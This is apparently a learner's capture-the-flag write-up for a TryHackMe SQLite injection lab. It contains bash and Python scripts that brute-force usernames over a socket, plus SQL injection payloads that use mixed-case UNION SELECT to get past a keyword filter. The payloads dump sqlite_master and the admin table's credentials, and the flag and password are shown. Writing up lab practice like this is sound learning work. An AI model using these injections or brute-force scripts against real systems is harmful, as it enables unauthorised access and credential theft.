I started on this challenge with minimal knowledge of SQL/SQLite commands and workings (just the basics as learnt from the TryHackMe course room detailed under the Web Hacking -> SQL Injection section in this gitbook: https://jarrettgxz-sec.gitbook.io/penetration-testing-ethical-hacking/web-hacking/sql-injection). I have gained ideas and insights from a few online resources and also from ChatGPT.
Note: ChatGPT was used to point myself towards the right direction on SQLite specific concepts such as commands to retrieve the table or columns names from the current database instance, but not on specific SQL injection concepts. The SQL injection commands were generated by myself based on multple trial-and-errors. For example, commands to query from sqlite_master was generated by ChatGPT, however, the insertion of specific characters (eg. quotation marks, equal signs, etc.) within the final command sent to the vulnerable database application was added myself based on my own knowledge from past experiences.
Bash script to brute force the password:
#!/usr/bin/bash
filename="/usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt"
while IFS="" read -r line; do
# eg. echo smokey | nc <target> 1337
res=$(echo "$line" | nc -w 1 <target> 1337)
if [[ "$res" == *"not found"* ]]; then
# if the substring "not found" is present, means user not found
...
else
# print success message and exit
...
fi;
done < "$filename"
Python script:
#!/usr/bin/python3
import socket
HOST='10.10.34.209'
PORT=1337
#filename='/usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt'
#filename='test.txt'
#filename='/usr/share/wordlists/SecLists/Usernames/Names/names.txt'
#filename='/usr/share/wordlists/SecLists/Usernames/Names/femalenames-usa-top1000.txt'
#filename='Security-Research/tools/aws-pentest-tools/iam_user_enum/default-word-list.txt'
filename='wordlist/usernames.txt'
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST,PORT))
s.recv(1024) # flush 1
s.recv(1024) # flush 2
f = open(filename, 'r')
for username in f:
if len(username) <= 10:
continue
username = username.lower()
print(f'[!] Trying {username.replace('\n', '')}', end=' ')
s.send(bytes(username, 'utf-8'))
data = s.recv(1024)
str_data = str(data, 'utf-8')
if 'not found' in str_data:
print('failed')
s.recv(50)
else:
print(str_data)
break
f.close()
I found the username: alice. However this wasn't the admin username. Probably a rookie mistake on my part for not realizing sooner that an SQL injection is likely to be more feasible.
SQL Injection
I noticed that the input form length is very long, and realized that it's highly unlikely that I would be able find the username with a simple brute-force.
As suggested from the challenge name, this database is likely to be a SQLite database application.
Possible SQL statements on the server side:
SELECT * FROM users WHERE name='smokey';
Attempts with common SQL injection inputs:
Force the statement to resolve to true
Potentially tricking the database to return all the users
' OR 1=1 --
SELECT * FROM users WHERE name='' OR 1=1--';
Reponse: For strange reasons I can't explain, any input containing /*, -- or, %0b is not allowed :)
This tells us that comment characters are banned.
Another attempt:
' OR ''='
SELECT * FROM users WHERE name='' OR ''='';
This seems to return a password value (that is returned from the alice username).
UNION and SELECT statement
The UNION and SELECT keywords (along with their lower capital variations) are all banned too
UNION
SELECT
union
select
Reponse: Ahh there is a word in there I don't like :(
Obfuscation of keywords
After pondering for awhile on the error message returned from the statement in point 2 above, I got the idea of using non-standard SQL keyword commands, apart from the conventional fully capitalized, or fully non-capitalized versions (eg. UNION, union).
--**
' Union Select name from sqlite_master where type = 'table' '=
--OUTPUT: Error: near "'='": syntax error
--**
' Union Select name from sqlite_master where type = 'table' OR '=
--OUTPUT: Password: admintable
--**
' Union Select * from admintable '=
--OUTPUT: Error: SELECTs to the left and right of UNION do not have the same number of result columns
--** to resolve the first half of the UNION to false (since anything with AND '1=0' will always be false)
' AND '1=0' Union Select * from admintable '=
--OUTPUT: Error: SELECTs to the left and right of UNION do not have the same number of result columns
--** TRYING TO GET COLUMN NAMES OF THE TABLE 'admintable'
-- ** NOTICE the different cases of the letters, different from: UNION, union
' Union Select sql FROM sqlite_master WHERE type = 'table' AND name = 'users' OR '=
--OUTPUT:
/*
Password: CREATE TABLE admintable (
id INTEGER PRIMARY KEY,
username TEXT,
password INTEGER)
*/
--**
' Union Select username from admintable '
--OUTPUT: Password: TryHackMeAdmin
--** Union keyword has funny capitalization, but works nonetheless
' UnIoN Select password from admintable '
--OUTPUT: Password: THM{SQLit3_InJ3cTion_is_SimplE_nO?}
--**
' UNion Select password from admintable where username='TryHackMeAdmin' or '=
--OUTPUT: Password: mamZtAuMlrsEy5bp6q17
From the results, I have learnt that SQLite accepts variations of SQL keywords, such as but not limited to: Union, uNion, unIon, uniOn, UNion, etc. are allowed, and are treated as valid commands.
ARCHIVE (pending deletion):
-- 1)
--INPUT: ' OR 1=1
-- Error: unrecognized token: "' LIMIT 30"
--3)
--INPUT: ' OR 1=1;
--Pause with no response
--2)
--INPUT: 'UNION
--Ahh there is a word in there I don't like :(
--3)
--INPUT: 'SELECT
--Ahh there is a word in there I don't like :(
--4)
--INPUT: '--
--For strange reasons I can't explain, any input containing /*, -- or, %0b is not allowed :)
--5)
--INPUT: '' LIMIT 30 OR '1=1;
--Error: near "LIMIT": syntax error